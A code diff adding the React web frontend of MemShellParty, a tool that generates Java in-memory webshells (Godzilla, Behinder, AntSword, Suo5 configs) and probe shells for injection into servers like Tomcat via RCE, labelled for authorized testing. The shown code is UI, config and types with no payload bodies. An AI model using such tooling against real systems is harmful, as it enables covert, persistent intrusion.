+  "tips.load-jar-with-scriptenginemanager": "通过 RCE 漏洞使用 javax.script.ScriptEngineManager 加载 jar 包实现注入",
+  "tips.trigger-injector-class-loading": "通过 RCE 漏洞触发注入器类加载"
+}

web/app/i18n/probeshell/en.json

@@ -0,0 +1,19 @@
+{
+  "buttons.generate": "Generate Shell",
+  "dnslog.host": "DNSLog Host",
+  "probeContent": "ProbeContent",
+  "probeContent.bytecode": "Bytecode",
+  "probeContent.script": "ScriptEngine",
+  "probeContent.command": "Command",
+  "probeContent.jdk": "JDK",
+  "probeContent.server": "Server",
+  "probeMethod": "ProbeMethod",
+  "quickUsage.step1": "Select Probe Method, DNSLog, Response, etc.",
+  "quickUsage.step2": "Select Probe Content, JDK, Server, etc.",
+  "quickUsage.step3": "Click Generate Shell",
+  "shellClassName": "ShellClassName",
+  "sleepSeconds": "SleepTime (seconds)",
+  "sleepServer": "SleepServer",
+  "tips.dnslog.host.required": "DNSLog host required",
+  "tips.response.reqParamName.required": "ParamName required"
+}

web/app/i18n/probeshell/zh-CN.json

@@ -0,0 +1,19 @@
+{
+  "buttons.generate": "生成探测马",
+  "dnslog.host": "DNSLog 地址",
+  "probeContent": "探测内容",
+  "probeContent.bytecode": "字节码执行",
+  "probeContent.script": "脚本引擎执行",
+  "probeContent.command": "命令执行",
+  "probeContent.jdk": "JDK 信息",
+  "probeContent.server": "服务类型",
+  "probeMethod": "探测方法",
+  "quickUsage.step1": "选择探测方法，DNSLog、Response 或者其他",
+  "quickUsage.step2": "选择探测内容，JDK、服务类型 或者其他",
+  "quickUsage.step3": "点击生成探测马",
+  "shellClassName": "探测马类名",
+  "sleepSeconds": "延迟时间（秒）",
+  "sleepServer": "探测服务",
+  "tips.dnslog.host.required": "DNSLog 地址必填",
+  "tips.response.reqParamName.required": "参数名称必填"
+}

web/app/lib/config.tsx

@@ -0,0 +1,36 @@
+import type { LinkItemType } from "fumadocs-ui/layouts/shared";
+import { LanguageSwitcher } from "@/components/language-switcher";
+
+export const siteConfig = {
+  name: "MemShellParty",
+  url: "https://party.memshell.news",
+  github: "https://github.com/ReaJason/MemShellParty",
+  latestRelease: "https://github.com/ReaJason/MemShellParty/releases/latest",
+  author: "ReaJason",
+  authorGithub: "https://github.com/ReaJason",
+  authorIntro: "Java RASP Developer",
+  blog: "https://reajason.eu.org",
+  navLinks: [
+    {
+      text: "MemShellGenerator",
+      url: "/memshell",
+    },
+    {
+      text: "ProbeShellGenerator",
+      url: "/probeshell",
+    },
+    {
+      text: "Documents",
+      url: "/docs",
+    },
+    {
+      text: "About",
+      url: "/about",
+    },
+    {
+      type: "custom",
+      children: <LanguageSwitcher />,
+      secondary: true,
+    },
+  ] as LinkItemType[],
+};

web/app/lib/layout.shared.tsx

@@ -0,0 +1,9 @@
+import type { BaseLayoutProps } from "fumadocs-ui/layouts/shared";
+export function baseOptions(): BaseLayoutProps {
+  return {
+    githubUrl: "https://github.com/ReaJason/MemShellParty",
+    nav: {
+      title: "MemShellParty",
+    },
+  };
+}

web/app/lib/source.ts

@@ -0,0 +1,9 @@
+import { loader } from "fumadocs-core/source";
+import { lucideIconsPlugin } from "fumadocs-core/source/lucide-icons";
+import { docs } from "../../.source/server";
+
+export const source = loader({
+  source: docs.toFumadocsSource(),
+  baseUrl: "/docs",
+  plugins: [lucideIconsPlugin()],
+});

web/app/lib/utils.ts

@@ -0,0 +1,85 @@
+import { type ClassValue, clsx } from "clsx";
+import { twMerge } from "tailwind-merge";
+
+export function cn(...inputs: ClassValue[]) {
+  return twMerge(clsx(inputs));
+}
+
+export function downloadContent(
+  content: Blob,
+  fileName: string,
+  fileExtension: string,
+) {
+  const link = document.createElement("a");
+  link.href = URL.createObjectURL(content);
+  link.download = `${fileName}${fileExtension}`;
+  document.body.appendChild(link);
+  link.click();
+  document.body.removeChild(link);
+}
+
+export function base64ToBytes(base64String: string) {
+  const byteCharacters = atob(base64String);
+  const byteNumbers = new Array(byteCharacters.length);
+  for (let i = 0; i < byteCharacters.length; i++) {
+    byteNumbers[i] = byteCharacters.charCodeAt(i);
+  }
+  return new Uint8Array(byteNumbers);
+}
+
+export function downloadBytes(
+  base64String: string,
+  className?: string,
+  jarName?: string,
+) {
+  const byteArray = base64ToBytes(base64String);
+  const blob = new Blob([byteArray], {
+    type: className ? "application/java-vm" : "application/java-archive",
+  });
+
+  const link = document.createElement("a");
+  link.href = window.URL.createObjectURL(blob);
+  link.download = className
+    ? `${className.substring(className.lastIndexOf("."))}.class`
+    : `${jarName}.jar`;
+
+  document.body.appendChild(link);
+  link.click();
+  document.body.removeChild(link);
+}
+
+export function formatBytes(bytes: number) {
+  if (bytes === 0) return "0 Bytes";
+  if (Number.isNaN(bytes) || !Number.isFinite(bytes)) return "N/A";
+
+  const k = 1024;
+  const sizes = ["Bytes", "KB", "MB"];
+
+  if (bytes < k) {
+    return `${bytes.toFixed(0)} ${sizes[0]}`;
+  }
+
+  const i = Math.floor(Math.log(bytes) / Math.log(k));
+
+  if (i >= 2 || bytes / k ** 1 >= 1000) {
+    const mbValue = Number.parseFloat((bytes / k ** 2).toFixed(2));
+    return `${mbValue} ${sizes[2]}`;
+  }
+  const kbValue = Number.parseFloat((bytes / k ** 1).toFixed(1));
+  return `${kbValue} ${sizes[1]}`;
+}
+
+export function shouldHidden(shellType: string | undefined) {
+  if (shellType === undefined) {
+    return false;
+  }
+  return (
+    shellType.endsWith("Listener") ||
+    shellType.endsWith("Valve") ||
+    shellType.startsWith("Agent") ||
+    shellType.endsWith("Interceptor") ||
+    shellType.endsWith("Handler") ||
+    shellType.endsWith("WebFilter") ||
+    shellType === "Customizer"
+  );
+}

web/app/providers/query-client-provider.tsx

@@ -0,0 +1,17 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import type { ReactNode } from "react";
+
+const queryClient = new QueryClient({
+  defaultOptions: {
+    queries: {
+      staleTime: 1000 * 60 * 5, // 5 minutes
+      retry: 1,
+    },
+  },
+});
+
+export function QueryProvider({ children }: Readonly<{ children: ReactNode }>) {
+  return (
+    <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+  );
+}

web/app/root.tsx

@@ -0,0 +1,88 @@
+import { RootProvider } from "fumadocs-ui/provider/react-router";
+import {
+  isRouteErrorResponse,
+  Links,
+  Meta,
+  Outlet,
+  Scripts,
+  ScrollRestoration,
+} from "react-router";
+import type { Route } from "./+types/root";
+import "./app.css";
+import { I18nextProvider } from "react-i18next";
+import SearchDialog from "@/components/search";
+import { TailwindIndicator } from "@/components/tailwind-indicator";
+import { Toaster } from "@/components/ui/sonner";
+import { env } from "@/config";
+import i18n from "./i18n/i18n";
+import { QueryProvider } from "./providers/query-client-provider";
+
+export const links: Route.LinksFunction = () => [
+  { rel: "preconnect", href: "https://fonts.googleapis.com" },
+  {
+    rel: "preconnect",
+    href: "https://fonts.gstatic.com",
+    crossOrigin: "anonymous",
+  },
+  {
+    rel: "stylesheet",
+    href: "https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&display=swap",
+  },
+];
+
+export function Layout({ children }: { children: React.ReactNode }) {
+  return (
+    <html lang="en" suppressHydrationWarning>
+      <head>
+        <meta charSet="utf-8" />
+        <meta name="viewport" content="width=device-width, initial-scale=1" />
+        <Meta />
+        <Links />
+      </head>
+      <body className="flex flex-col min-h-screen">
+        <RootProvider search={{ SearchDialog }}>
+          <Toaster />
+          <QueryProvider>
+            <I18nextProvider i18n={i18n}>{children}</I18nextProvider>
+          </QueryProvider>
+          {env.MODE !== "production" && <TailwindIndicator />}
+        </RootProvider>
+        <ScrollRestoration />
+        <Scripts />
+      </body>
+    </html>
+  );
+}
+
+export default function App() {
+  return <Outlet />;
+}
+
+export function ErrorBoundary({ error }: Route.ErrorBoundaryProps) {
+  let message = "Oops!";
+  let details = "An unexpected error occurred.";
+  let stack: string | undefined;
+
+  if (isRouteErrorResponse(error)) {
+    message = error.status === 404 ? "404" : "Error";
+    details =
+      error.status === 404
+        ? "The requested page could not be found."
+        : error.statusText || details;
+  } else if (import.meta.env.DEV && error && error instanceof Error) {
+    details = error.message;
+    stack = error.stack;
+  }
+
+  return (
+    <main className="pt-16 p-4 container mx-auto">
+      <h1>{message}</h1>
+      <p>{details}</p>
+      {stack && (
+        <pre className="w-full p-4 overflow-x-auto">
+          <code>{stack}</code>
+        </pre>
+      )}
+    </main>
+  );
+}

web/app/routes.ts

@@ -0,0 +1,12 @@
+import { index, type RouteConfig, route } from "@react-router/dev/routes";
+
+export default [
+  index("routes/memshell.tsx", {
+    id: "index-memshell",
+  }),
+  route("docs/*", "docs/page.tsx"),
+  route("api/search", "docs/search.ts"),
+  route("about", "routes/about.tsx"),
+  route("memshell", "routes/memshell.tsx"),
+  route("probeshell", "routes/probeshell.tsx"),
+] satisfies RouteConfig;

web/app/routes/about.tsx

@@ -0,0 +1,347 @@
+import { useQuery } from "@tanstack/react-query";
+import { motion } from "framer-motion";
+import { HomeLayout } from "fumadocs-ui/layouts/home";
+import {
+  AlertCircle,
+  Code,
+  Download,
+  ExternalLink,
+  Github,
+  Globe,
+  Heart,
+  Mail,
+  Package,
+  Shield,
+  User,
+} from "lucide-react";
+import { useTheme } from "next-themes";
+import { Link } from "react-router";
+import { LineShadowText } from "@/components/magicui/line-shadow-text";
+import { Alert, AlertDescription } from "@/components/ui/alert";
+import { Avatar, AvatarFallback, AvatarImage } from "@/components/ui/avatar";
+import { Badge } from "@/components/ui/badge";
+import { Button } from "@/components/ui/button";
+import { Card, CardContent, CardFooter } from "@/components/ui/card";
+import { env } from "@/config";
+import { siteConfig } from "@/lib/config";
+import { baseOptions } from "../lib/layout.shared";
+
+type VersionInfo = {
+  currentVersion: string;
+  latestVersion: string;
+  hasUpdate: boolean;
+  releaseUrl: string;
+};
+
+export default function AboutPage() {
+  const theme = useTheme();
+  const shadowColor = theme.theme === "dark" ? "#ffffff" : "#000000";
+  const {
+    data: updateInfo,
+    isPending,
+    error,
+  } = useQuery<VersionInfo>({
+    queryKey: ["version"],
+    queryFn: async () => {
+      const response = await fetch(`${env.API_URL}/api/version`);
+      if (response.ok) {
+        return await response.json();
+      }
+      return "unknown";
+    },
+  });
+  const inProduction = env.MODE === "production";
+
+  const containerVariants = {
+    hidden: { opacity: 0 },
+    visible: {
+      opacity: 1,
+      transition: {
+        staggerChildren: 0.1,
+      },
+    },
+  };
+
+  const itemVariants = {
+    hidden: { opacity: 0, y: 20 },
+    visible: {
+      opacity: 1,
+      y: 0,
+      transition: {
+        duration: 0.5,
+      },
+    },
+  };
+
+  return (
+    <HomeLayout {...baseOptions()} links={siteConfig.navLinks}>
+      <div className="min-h-screen font-sans text-foreground">
+        <section className="relative text-center py-20 overflow-hidden">
+          <div className="absolute top-0 left-0 w-full h-full bg-grid-black/[0.05] dark:bg-grid-white/[0.05] [mask-image:linear-gradient(to_bottom,white_10%,transparent_100%)]" />
+          <div className="container mx-auto px-4 relative z-10">
+            <motion.div
+              initial={{ opacity: 0, y: -50 }}
+              animate={{ opacity: 1, y: 0 }}
+              transition={{ duration: 0.8 }}
+            >
+              <div className="inline-flex items-center px-4 py-2 rounded-full border sm:h-8 mb-8 transition-colors dark:bg-red-900/20 dark:border-red-800 dark:text-red-300 bg-red-50 border-red-200 text-red-700">
+                <Shield className="w-4 h-4 mr-2" />
+                <span className="text-sm">
+                  For Security Research & Authorized Testing Only
+                </span>
+              </div>
+              <h1 className="text-5xl md:text-7xl font-bold mb-8">
+                <span className="dark:text-white text-gray-900">
+                  MemShell
+                  <LineShadowText className="italic" shadowColor={shadowColor}>
+                    Party
+                  </LineShadowText>
+                </span>
+              </h1>
+              <p className="text-xl md:text-2xl mb-12 max-w-4xl mx-auto leading-relaxed text-muted-foreground">
+                A self-hosted, visual platform for one-click generation of Java
+                memory shells for common middleware and frameworks. The ultimate
+                learning platform for security researchers.
+              </p>
+            </motion.div>
+          </div>
+        </section>
+
+        {updateInfo?.hasUpdate && inProduction && (
+          <motion.div
+            initial={{ opacity: 0, y: -20 }}
+            animate={{ opacity: 1, y: 0 }}
+            className="container mx-auto px-4 mb-8"
+          >
+            <Alert className="border-green-500 bg-green-50 dark:bg-green-900/20 w-auto">
+              <AlertCircle className="h-4 w-4 text-green-600 dark:text-green-400" />
+              <AlertDescription className="flex items-center justify-between flex-wrap gap-4">
+                <span className="text-green-800 dark:text-green-300">
+                  New version {updateInfo.latestVersion} is available! (Current:{" "}
+                  {updateInfo.currentVersion})
+                </span>
+                <a
+                  href={siteConfig.latestRelease}
+                  target="_blank"
+                  rel="noopener noreferrer"
+                >
+                  <Button
+                    size="sm"
+                    className="bg-green-600 hover:bg-green-700 text-white"
+                  >
+                    <Download className="mr-2 h-4 w-4" />
+                    View Release
+                  </Button>
+                </a>
+              </AlertDescription>
+            </Alert>
+          </motion.div>
+        )}
+
+        <motion.section
+          variants={containerVariants}
+          initial="hidden"
+          animate="visible"
+          className="container mx-auto px-4 py-16"
+        >
+          <div className="grid md:grid-cols-2 gap-8 max-w-6xl mx-auto">
+            <motion.div variants={itemVariants}>
+              <Card className="h-full">
+                <CardContent className="p-6">
+                  <div className="flex items-center mb-4">
+                    <Package className="w-6 h-6 mr-3 text-primary" />
+                    <h2 className="text-2xl font-bold">Version</h2>
+                  </div>
+                  <div className="space-y-3">
+                    <div className="flex justify-between items-center py-2 border-b border-border/50">
+                      <span className="text-muted-foreground">
+                        Current Version
+                      </span>
+                      <Badge variant="secondary">
+                        {updateInfo?.currentVersion || "v0.0.0"}
+                      </Badge>
+                    </div>
+                    <div className="flex justify-between items-center py-2 border-b border-border/50">
+                      <span className="text-muted-foreground">
+                        Latest Version
+                      </span>
+                      {isPending && (
+                        <span className="text-sm text-gray-500">
+                          Checking...
+                        </span>
+                      )}
+                      {error && (
+                        <Badge variant="destructive">{error.message}</Badge>
+                      )}
+                      {updateInfo && !error && (
+                        <Badge variant="outline">
+                          {updateInfo.latestVersion}
+                        </Badge>
+                      )}
+                    </div>
+                    <div className="flex justify-between items-center py-2 border-b border-border/50">
+                      <span className="text-muted-foreground">License</span>
+                      <Badge variant="outline">MIT License</Badge>
+                    </div>
+                  </div>
+                </CardContent>
+                <CardFooter className="flex justify-between">
+                  <span className="text-xs text-gray-500">
+                    Last test time: {new Date().toLocaleString()}
+                  </span>
+                </CardFooter>
+              </Card>
+            </motion.div>
+
+            <motion.div variants={itemVariants}>
+              <Card className="h-full">
+                <CardContent className="p-6">
+                  <div className="flex items-center mb-4">
+                    <User className="w-6 h-6 mr-3 text-primary" />
+                    <h2 className="text-2xl font-bold">Author</h2>
+                  </div>
+                  <div className="space-y-4">
+                    <div className="flex items-center gap-3">
+                      <Avatar className="w-16 h-16">
+                        <AvatarImage src="https://cdn.jsdelivr.net/gh/ReaJason/blog_imgs/default/blog_avatar.jpg" />
+                        <AvatarFallback>RJ</AvatarFallback>
+                      </Avatar>
+                      <div>
+                        <h3 className="font-semibold text-lg">
+                          {siteConfig.author}
+                        </h3>
+                        <p className="text-sm text-muted-foreground">
+                          {siteConfig.authorIntro}
+                        </p>
+                      </div>
+                    </div>
+                    <div className="space-y-2 pt-2">
+                      <a
+                        href={siteConfig.blog}
+                        target="_blank"
+                        rel="noopener noreferrer"
+                        className="flex items-center gap-2 text-muted-foreground hover:text-primary transition-colors"
+                      >
+                        <Globe className="w-4 h-4" />
+                        <span className="text-sm">reajason.eu.org</span>
+                        <ExternalLink className="w-3 h-3" />
+                      </a>
+                      <a
+                        href={siteConfig.authorGithub}
+                        target="_blank"
+                        rel="noopener noreferrer"
+                        className="flex items-center gap-2 text-muted-foreground hover:text-primary transition-colors"
+                      >
+                        <Github className="w-4 h-4" />
+                        <span className="text-sm">github.com/ReaJason</span>
+                        <ExternalLink className="w-3 h-3" />
+                      </a>
+                      <div className="flex items-center gap-2 text-muted-foreground">
+                        <Mail className="w-4 h-4" />
+                        <span className="text-sm">Contact via GitHub</span>
+                      </div>
+                    </div>
+                  </div>
+                </CardContent>
+              </Card>
+            </motion.div>
+          </div>
+        </motion.section>
+
+        <motion.section
+          initial={{ opacity: 0 }}
+          animate={{ opacity: 1 }}
+          transition={{ duration: 0.8, delay: 0.6 }}
+          className="container mx-auto px-4 py-16"
+        >
+          <div className="max-w-6xl mx-auto">
+            <div className="text-center mb-12">
+              <h2 className="text-3xl font-bold mb-4">Resources & Links</h2>
+              <p className="text-muted-foreground">
+                Explore documentation and contribute to the project
+              </p>
+            </div>
+            <div className="grid md:grid-cols-3 gap-6">
+              <Card className="group hover:shadow-lg transition-shadow">
+                <CardContent className="p-6">
+                  <Code className="w-10 h-10 mb-4 text-primary group-hover:scale-110 transition-transform" />
+                  <h3 className="font-semibold text-lg mb-2">Documentation</h3>
+                  <p className="text-sm text-muted-foreground mb-4">
+                    Comprehensive guides and API references for using
+                    MemShellParty effectively.
+                  </p>
+                  <Link
+                    className="text-primary hover:underline text-sm font-medium flex items-center gap-1"
+                    to="/docs"
+                  >
+                    Read Docs <ExternalLink className="w-3 h-3" />
+                  </Link>
+                </CardContent>
+              </Card>
+
+              <Card className="group hover:shadow-lg transition-shadow">
+                <CardContent className="p-6">
+                  <Github className="w-10 h-10 mb-4 text-primary group-hover:scale-110 transition-transform" />
+                  <h3 className="font-semibold text-lg mb-2">Source Code</h3>
+                  <p className="text-sm text-muted-foreground mb-4">
+                    View the source code, report issues, and contribute to the
+                    development.
+                  </p>
+                  <a
+                    href={siteConfig.github}
+                    target="_blank"
+                    rel="noopener noreferrer"
+                    className="text-primary hover:underline text-sm font-medium flex items-center gap-1"
+                  >
+                    View Repository <ExternalLink className="w-3 h-3" />
+                  </a>
+                </CardContent>
+              </Card>
+
+              <Card className="group hover:shadow-lg transition-shadow">
+                <CardContent className="p-6">
+                  <Heart className="w-10 h-10 mb-4 text-primary group-hover:scale-110 transition-transform" />
+                  <h3 className="font-semibold text-lg mb-2">Support</h3>
+                  <p className="text-sm text-muted-foreground mb-4">
+                    Star the project on GitHub and share it with the security
+                    community.
+                  </p>
+                  <a
+                    href={siteConfig.github}
+                    target="_blank"
+                    rel="noopener noreferrer"
+                    className="text-primary hover:underline text-sm font-medium flex items-center gap-1"
+                  >
+                    Star on GitHub <ExternalLink className="w-3 h-3" />
+                  </a>
+                </CardContent>
+              </Card>
+            </div>
+          </div>
+        </motion.section>
+
+        <footer className="border-t py-8 mt-16">
+          <div className="container mx-auto px-4 flex flex-col gap-4 sm:flex-row sm:items-center sm:justify-between text-center sm:text-left">
+            <div>
+              <p className="text-sm font-semibold">{siteConfig.name}</p>
+              <p className="text-xs text-muted-foreground">
+                Built with ❤️ by{" "}
+                <a
+                  href={siteConfig.blog}
+                  rel="noreferrer noopener"
+                  target="_blank"
+                  className="font-medium hover:text-primary transition-colors"
+                >
+                  {siteConfig.author}
+                </a>
+              </p>
+            </div>
+            <div className="text-xs text-muted-foreground">
+              © 2025 {siteConfig.name}. For authorized security testing only.
+            </div>
+          </div>
+        </footer>
+      </div>
+    </HomeLayout>
+  );
+}

web/app/routes/memshell.tsx

@@ -0,0 +1,166 @@
+import { useQuery } from "@tanstack/react-query";
+import { HomeLayout } from "fumadocs-ui/layouts/home";
+import { LoaderCircle, WandSparklesIcon } from "lucide-react";
+import { useState, useTransition } from "react";
+import { useForm } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { toast } from "sonner";
+import MainConfigCard from "@/components/memshell/main-config-card";
+import PackageConfigCard from "@/components/memshell/package-config-card";
+import ShellResult from "@/components/memshell/shell-result";
+import { Button } from "@/components/ui/button";
+import { Form } from "@/components/ui/form";
+import { env } from "@/config";
+import { siteConfig } from "@/lib/config";
+import {
+  type APIErrorResponse,
+  type MainConfig,
+  type MemShellGenerateResponse,
+  type MemShellResult,
+  type PackerConfig,
+  type ServerConfig,
+  ShellToolType,
+} from "@/types/memshell";
+import {
+  type MemShellFormSchema,
+  memShellFormSchema,
+  useYupValidationResolver,
+} from "@/types/schema";
+import { transformToPostData } from "@/utils/transformer";
+import { baseOptions } from "../lib/layout.shared";
+
+export default function MemShellPage() {
+  const { data: serverConfig } = useQuery<ServerConfig>({
+    queryKey: ["serverConfig"],
+    queryFn: async () => {
+      const response = await fetch(`${env.API_URL}/api/config/servers`);
+      return await response.json();
+    },
+  });
+
+  const { data: mainConfig } = useQuery<MainConfig>({
+    queryKey: ["mainConfig"],
+    queryFn: async () => {
+      const response = await fetch(`${env.API_URL}/api/config`);
+      return await response.json();
+    },
+  });
+
+  const { data: packerConfig } = useQuery<PackerConfig>({
+    queryKey: ["packerConfig"],
+    queryFn: async () => {
+      const response = await fetch(`${env.API_URL}/api/config/packers`);
+      return await response.json();
+    },
+  });
+
+  const { t } = useTranslation(["common", "memshell"]);
+  const form = useForm({
+    resolver: useYupValidationResolver(memShellFormSchema, t),
+    defaultValues: {
+      server: "Tomcat",
+      serverVersion: "unknown",
+      targetJdkVersion: "50",
+      debug: false,
+      byPassJavaModule: false,
+      shellClassName: "",
+      shellTool: ShellToolType.Godzilla,
+      shellType: "Listener",
+      urlPattern: "/*",
+      godzillaPass: "",
+      godzillaKey: "",
+      commandParamName: "",
+      behinderPass: "",
+      antSwordPass: "",
+      headerName: "User-Agent",
+      headerValue: "",
+      injectorClassName: "",
+      packingMethod: "",
+      shrink: true,
+      staticInitialize: true,
+      shellClassBase64: "",
+    },
+  });
+
+  const [packResult, setPackResult] = useState<string | undefined>();
+  const [allPackResults, setAllPackResults] = useState<
+    Map<string, string> | undefined
+  >();
+  const [generateResult, setGenerateResult] = useState<MemShellResult>();
+  const [packMethod, setPackMethod] = useState<string>("");
+  const [isActionPending, startTransition] = useTransition();
+
+  const onSubmit = async (data: MemShellFormSchema) => {
+    startTransition(async () => {
+      try {
+        const postData = transformToPostData(data);
+        const response = await fetch(`${env.API_URL}/api/memshell/generate`, {
+          method: "POST",
+          headers: {
+            "Content-Type": "application/json",
+          },
+          body: JSON.stringify(postData),
+        });
+
+        if (!response.ok) {
+          const json: APIErrorResponse = await response.json();
+          toast.error(t("toast.generateError", { error: json.error }));
+          return;
+        }
+
+        const result = (await response.json()) as MemShellGenerateResponse;
+        setGenerateResult(result.memShellResult);
+        setPackResult(result.packResult);
+        setAllPackResults(result.allPackResults);
+        setPackMethod(data.packingMethod);
+        toast.success(t("toast.generateSuccess"));
+      } catch (error) {
+        toast.error(
+          t("toast.generateError", { error: (error as Error).message }),
+        );
+      }
+    });
+  };
+
+  return (
+    <HomeLayout {...baseOptions()} links={siteConfig.navLinks}>
+      <div className="container mx-auto max-w-7xl p-4">
+        <Form {...form}>
+          <form
+            onSubmit={form.handleSubmit(onSubmit)}
+            className="flex flex-col xl:flex-row gap-6"
+          >
+            <div className="w-full xl:w-1/2 flex flex-col gap-2">
+              <MainConfigCard
+                servers={serverConfig}
+                mainConfig={mainConfig}
+                form={form}
+              />
+              <PackageConfigCard packerConfig={packerConfig} form={form} />
+              <Button
+                className="w-full"
+                type="submit"
+                disabled={isActionPending}
+              >
+                {isActionPending ? (
+                  <LoaderCircle className="animate-spin" />
+                ) : (
+                  <WandSparklesIcon />
+                )}
+                {t("memshell:buttons.generate")}
+              </Button>
+            </div>
+            <div className="w-full xl:w-1/2 flex flex-col gap-4">
+              <ShellResult
+                packMethod={packMethod}
+                generateResult={generateResult}
+                packResult={packResult}
+                allPackResults={allPackResults}
+              />
+            </div>
+          </form>
+        </Form>
+      </div>
+    </HomeLayout>
+  );
+}

web/app/routes/probeshell.tsx

@@ -0,0 +1,142 @@
+import { useQuery } from "@tanstack/react-query";
+import { HomeLayout } from "fumadocs-ui/layouts/home";
+import { LoaderCircle, WandSparklesIcon } from "lucide-react";
+import { useState, useTransition } from "react";
+import { useForm } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { toast } from "sonner";
+import MainConfigCard from "@/components/probeshell/main-config-card";
+import PackageConfigCard from "@/components/probeshell/package-config-card";
+import ShellResult from "@/components/probeshell/shell-result";
+import { Button } from "@/components/ui/button";
+import { Form } from "@/components/ui/form";
+import { env } from "@/config";
+import { siteConfig } from "@/lib/config";
+import type {
+  APIErrorResponse,
+  PackerConfig,
+  ServerConfig,
+} from "@/types/memshell";
+import type {
+  ProbeShellGenerateResponse,
+  ProbeShellResult,
+} from "@/types/probeshell";
+import {
+  type ProbeShellFormSchema,
+  probeShellFormSchema,
+  useYupValidationProbeResolver,
+} from "@/types/schema";
+import { transformToProbePostData } from "@/utils/transformer";
+import { baseOptions } from "../lib/layout.shared";
+
+export default function ProbeShellGenerator() {
+  const { data: serverConfig } = useQuery<ServerConfig>({
+    queryKey: ["serverConfig"],
+    queryFn: async () => {
+      const response = await fetch(`${env.API_URL}/api/config/servers`);
+      return await response.json();
+    },
+  });
+
+  const { data: packerConfig } = useQuery<PackerConfig>({
+    queryKey: ["packerConfig"],
+    queryFn: async () => {
+      const response = await fetch(`${env.API_URL}/api/config/packers`);
+      return await response.json();
+    },
+  });
+
+  const { t } = useTranslation(["common", "probeshell"]);
+
+  const form = useForm<ProbeShellFormSchema>({
+    resolver: useYupValidationProbeResolver(probeShellFormSchema, t),
+    defaultValues: {
+      probeMethod: "Sleep",
+      probeContent: "Server",
+      host: "",
+      server: "Tomcat",
+      reqParamName: "payload",
+      seconds: 5,
+      sleepServer: "Tomcat",
+      shrink: true,
+      staticInitialize: true,
+    },
+  });
+
+  const [packResult, setPackResult] = useState<string | undefined>();
+  const [allPackResults, setAllPackResults] = useState<
+    Map<string, string> | undefined
+  >();
+  const [generateResult, setGenerateResult] = useState<ProbeShellResult>();
+  const [packMethod, setPackMethod] = useState<string>("");
+  const [isActionPending, startTransition] = useTransition();
+
+  const onSubmit = async (data: ProbeShellFormSchema) => {
+    startTransition(async () => {
+      try {
+        const postData = transformToProbePostData(data);
+        const response = await fetch(`${env.API_URL}/api/probe/generate`, {
+          method: "POST",
+          headers: {
+            "Content-Type": "application/json",
+          },
+          body: JSON.stringify(postData),
+        });
+
+        if (!response.ok) {
+          const json: APIErrorResponse = await response.json();
+          toast.error(t("toast.generateError", { error: json.error }));
+          return;
+        }
+
+        const result = (await response.json()) as ProbeShellGenerateResponse;
+        setGenerateResult(result.probeShellResult);
+        setPackResult(result.packResult);
+        setAllPackResults(result.allPackResults);
+        setPackMethod(data.packingMethod);
+        toast.success(t("toast.generateSuccess"));
+      } catch (error) {
+        toast.error(
+          t("toast.generateError", { error: (error as Error).message }),
+        );
+      }
+    });
+  };
+  return (
+    <HomeLayout {...baseOptions()} links={siteConfig.navLinks}>
+      <div className="container mx-auto max-w-7xl p-4">
+        <Form {...form}>
+          <form
+            onSubmit={form.handleSubmit(onSubmit)}
+            className="flex flex-col xl:flex-row gap-6"
+          >
+            <div className="w-full xl:w-1/2 flex flex-col gap-4">
+              <MainConfigCard form={form} servers={serverConfig} />
+              <PackageConfigCard form={form} packerConfig={packerConfig} />
+              <Button
+                className="w-full"
+                type="submit"
+                disabled={isActionPending}
+              >
+                {isActionPending ? (
+                  <LoaderCircle className="animate-spin" />
+                ) : (
+                  <WandSparklesIcon />
+                )}
+                {t("probeshell:buttons.generate")}
+              </Button>
+            </div>
+            <div className="w-full xl:w-1/2 flex flex-col gap-4">
+              <ShellResult
+                packMethod={packMethod}
+                generateResult={generateResult}
+                packResult={packResult}
+                allPackResults={allPackResults}
+              />
+            </div>
+          </form>
+        </Form>
+      </div>
+    </HomeLayout>
+  );
+}

web/app/types/memshell.ts

@@ -0,0 +1,134 @@
+export interface ShellConfig {
+  server: string;
+  serverVersion: string;
+  shellTool: string;
+  shellType: string;
+  targetJreVersion?: string;
+  debug?: boolean;
+  byPassJavaModule?: boolean;
+  obfuscate?: boolean;
+  shrink?: boolean;
+}
+
+export interface ShellToolConfig {
+  shellClassName?: string;
+  godzillaPass?: string;
+  godzillaKey?: string;
+  commandParamName?: string;
+  behinderPass?: string;
+  antSwordPass?: string;
+  headerName?: string;
+  headerValue?: string;
+  shellClassBase64?: string;
+  encryptor?: string;
+  implementationClass?: string;
+}
+
+export interface CommandShellToolConfig {
+  shellClassName?: string;
+  paramName?: string;
+}
+
+export interface GodzillaShellToolConfig {
+  shellClassName?: string;
+  pass?: string;
+  key?: string;
+  headerName?: string;
+  headerValue?: string;
+}
+
+export interface BehinderShellToolConfig {
+  shellClassName?: string;
+  pass?: string;
+  headerName?: string;
+  headerValue?: string;
+}
+
+export interface Suo5ShellToolConfig {
+  shellClassName?: string;
+  headerName?: string;
+  headerValue?: string;
+}
+
+export interface AntSwordShellToolConfig {
+  shellClassName?: string;
+  pass?: string;
+  headerName?: string;
+  headerValue?: string;
+}
+
+export interface NeoreGeorgShellToolConfig {
+  shellClassName?: string;
+  headerName?: string;
+  headerValue?: string;
+}
+
+export interface InjectorConfig {
+  injectorClassName?: string;
+  classInheritance?: string;
+  urlPattern?: string;
+  staticInitialize?: boolean;
+}
+
+export interface ConfigResponseType {
+  servers: ServerConfig;
+  core: MainConfig;
+  packers: PackerConfig;
+}
+
+export interface ServerConfig {
+  [serverName: string]: Array<string>;
+}
+
+export interface MainConfig {
+  [serverName: string]: {
+    [toolName: string]: string[];
+  };
+}
+
+export type PackerConfig = Array<string>;
+
+export interface MemShellGenerateResponse {
+  memShellResult: MemShellResult;
+  packResult?: string;
+  allPackResults?: Map<string, string>;
+}
+
+export interface APIErrorResponse {
+  error: string;
+}
+
+export interface MemShellResult {
+  shellClassName: string;
+  shellSize: number;
+  shellBytesBase64Str: string;
+  injectorClassName: string;
+  injectorSize: number;
+  injectorBytesBase64Str: string;
+  shellConfig: ShellConfig;
+  shellToolConfig:
+    | CommandShellToolConfig
+    | GodzillaShellToolConfig
+    | BehinderShellToolConfig
+    | AntSwordShellToolConfig;
+  injectorConfig: InjectorConfig;
+}
+
